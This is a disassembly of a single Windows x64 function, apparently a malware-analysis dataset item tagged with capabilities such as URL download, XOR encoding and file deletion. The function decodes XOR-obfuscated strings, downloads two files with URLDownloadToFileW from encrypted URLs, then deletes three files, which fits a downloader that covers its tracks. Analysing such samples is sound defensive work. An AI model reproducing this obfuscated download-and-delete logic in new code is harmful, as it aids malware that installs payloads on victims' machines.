Function at 0x140037738
Capabilities:
Authenticate hmac
Delete file
Download url
Encode data using xor
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r13
push r14
lea rbp, [rax - 0x248]
sub rsp, 0x330
mov rax, qword [0x1404600c0]
xor rax, rsp
mov qword [rbp + 0x220], rax
lea rcx, [rbp + 0x60]
lea rax, [0x14044ed90]
mov esi, 2
mov edx, esi
lea r8d, [rsi + 0x7e]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x140037781
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rax + 0x70]
mov qword [rcx + 0x70], rax
xor edi, edi
mov r8d, edi
lea r9, [rbp + 0x60]
mov r14d, 0x8d3dcb09
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0xbc
jl 0x140037818
movups xmm0, xmmword [0x14044e170]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x14044e180]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x14044e190]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [0x14044e1a0]
movsd qword [rbp - 0x30], xmm0
mov r8d, edi
lea r9, [rbp - 0x60]
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0x1c
jl 0x14003787a
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], rdi
lea rax, [rbp - 0x60]
or rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp word [rax + r8*2], di
jne 0x1400378c7
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x1e0]
call fcn.140046c9c
nop
lea rax, [rbp + 0x1e0]
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 7
cmova rax, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x1f0]
mov r13d, 0x5c
cmp word [rax + rcx*2 - 2], r13w
je 0x140037949
cmp rcx, rdx
jae 0x14003793a
lea rax, [rcx + 1]
mov qword [rbp + 0x1f0], rax
lea rax, [rbp + 0x1e0]
cmp rdx, 7
cmova rax, qword [rbp + 0x1e0]
mov dword [rax + rcx*2], r13d
jmp 0x140037949
mov r9d, r13d
lea rcx, [rbp + 0x1e0]
call fcn.14004688c
movups xmm0, xmmword [0x14044e340]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14044e350]
movups xmmword [rsp + 0x40], xmm1
pextrw eax, xmm1, 7
test ax, ax
je 0x14003799d
mov r8d, edi
lea r9, [rsp + 0x30]
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0x10
jl 0x140037973
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x1e0]
call fcn.1400447b8
lea r8, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 7
cmova r8, qword [rbp + 0x1e0]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, [rbp + 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
nop
lea rcx, [rbp + 0x1e0]
call fcn.14004531c
lea rcx, [rbp + 0x60]
lea rdx, [0x14044e730]
mov rax, rsi
mov r8d, 0x80
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rdx, r8
sub rax, 1
jne 0x1400379fa
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rdx + 0x70]
mov qword [rcx + 0x70], rax
movzx eax, word [rdx + 0x78]
mov word [rcx + 0x78], ax
mov r8d, edi
lea r9, [rbp + 0x60]
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0xbd
jl 0x140037a91
movups xmm0, xmmword [0x14044e170]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14044e180]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14044e190]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x14044e1a0]
movsd qword [rsp + 0x60], xmm0
mov r8d, edi
lea r9, [rsp + 0x30]
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0x1c
jl 0x140037af8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], rdi
mov qword [rbp + 0x218], rdi
lea rax, [rsp + 0x30]
inc rbx
cmp word [rax + rbx*2], di
jne 0x140037b3f
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x200]
call fcn.140046c9c
nop
lea rax, [rbp + 0x200]
mov rdx, qword [rbp + 0x218]
cmp rdx, 7
cmova rax, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x210]
cmp word [rax + rcx*2 - 2], r13w
je 0x140037bc1
cmp rcx, rdx
jae 0x140037bb2
lea rax, [rcx + 1]
mov qword [rbp + 0x210], rax
lea rax, [rbp + 0x200]
cmp rdx, 7
cmova rax, qword [rbp + 0x200]
mov dword [rax + rcx*2], 0x5c
jmp 0x140037bc1
mov r9d, r13d
lea rcx, [rbp + 0x200]
call fcn.14004688c
movups xmm0, xmmword [str.ER_NSUXOHGvul06F]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1404501e0]
movups xmmword [rsp + 0x40], xmm1
movzx eax, word [0x1404501f0]
mov word [rsp + 0x50], ax
mov r8d, edi
lea r9, [rsp + 0x30]
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0x11
jl 0x140037bed
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x200]
call fcn.1400447b8
lea r8, [rbp + 0x200]
cmp qword [rbp + 0x218], 7
cmova r8, qword [rbp + 0x200]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea rdx, [rbp + 0x60]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
nop
lea rcx, [rbp + 0x200]
call fcn.14004531c
lea rcx, [rbp + 0x60]
lea rdx, [0x14044f990]
mov rax, rsi
mov r8d, 0x80
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rdx, r8
sub rax, 1
jne 0x140037c74
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rdx + 0x70]
mov dword [rcx + 0x70], eax
movzx eax, word [rdx + 0x74]
mov word [rcx + 0x74], ax
mov r8d, edi
lea r9, [rbp + 0x60]
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0xbb
jl 0x140037d09
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x60]
call fcn.1400356ac
mov qword [rbp - 0x70], rsi
lea rcx, [rbp - 0x70]
call fcn.140045ed0
movaps xmm0, xmmword [0x14044e900]
movaps xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [0x14044e910]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm0, xmmword [0x14044e920]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [0x14044e930]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm0, xmmword [0x14044e940]
movaps xmmword [rbp - 0x20], xmm0
mov eax, dword [0x14044e950]
mov dword [rbp - 0x10], eax
movzx eax, word [0x14044e954]
mov word [rbp - 0xc], ax
mov r8d, edi
lea r9, [rbp - 0x60]
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0x2b
jl 0x140037da2
movaps xmm0, xmmword [0x1404505a0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [0x1404505b0]
movaps xmmword [rsp + 0x40], xmm1
movaps xmm0, xmmword [0x1404505c0]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [0x1404505d0]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm0, xmmword [0x1404505e0]
movaps xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x1404505f0]
movsd qword [rbp - 0x80], xmm0
mov r8d, edi
lea r9, [rsp + 0x30]
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0x2c
jl 0x140037e1d
movaps xmm0, xmmword [0x14044fb50]
movaps xmmword [rbp], xmm0
movaps xmm1, xmmword [0x14044fb60]
movaps xmmword [rbp + 0x10], xmm1
movaps xmm0, xmmword [0x14044fb70]
movaps xmmword [rbp + 0x20], xmm0
movaps xmm1, xmmword [0x14044fb80]
movaps xmmword [rbp + 0x30], xmm1
movaps xmm0, xmmword [0x14044fb90]
movaps xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [0x14044fba0]
movsd qword [rbp + 0x50], xmm0
movzx eax, word [0x14044fba8]
mov word [rbp + 0x58], ax
mov r8d, edi
lea r9, [rbp]
mov eax, r14d
mul r8d
shr edx, 5
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x36
xor word [r9], ax
inc r8d
add r9, rsi
cmp r8d, 0x2d
jl 0x140037e9d
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140037eee
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140037eee
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.1400a97e0
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r13
pop rbp
ret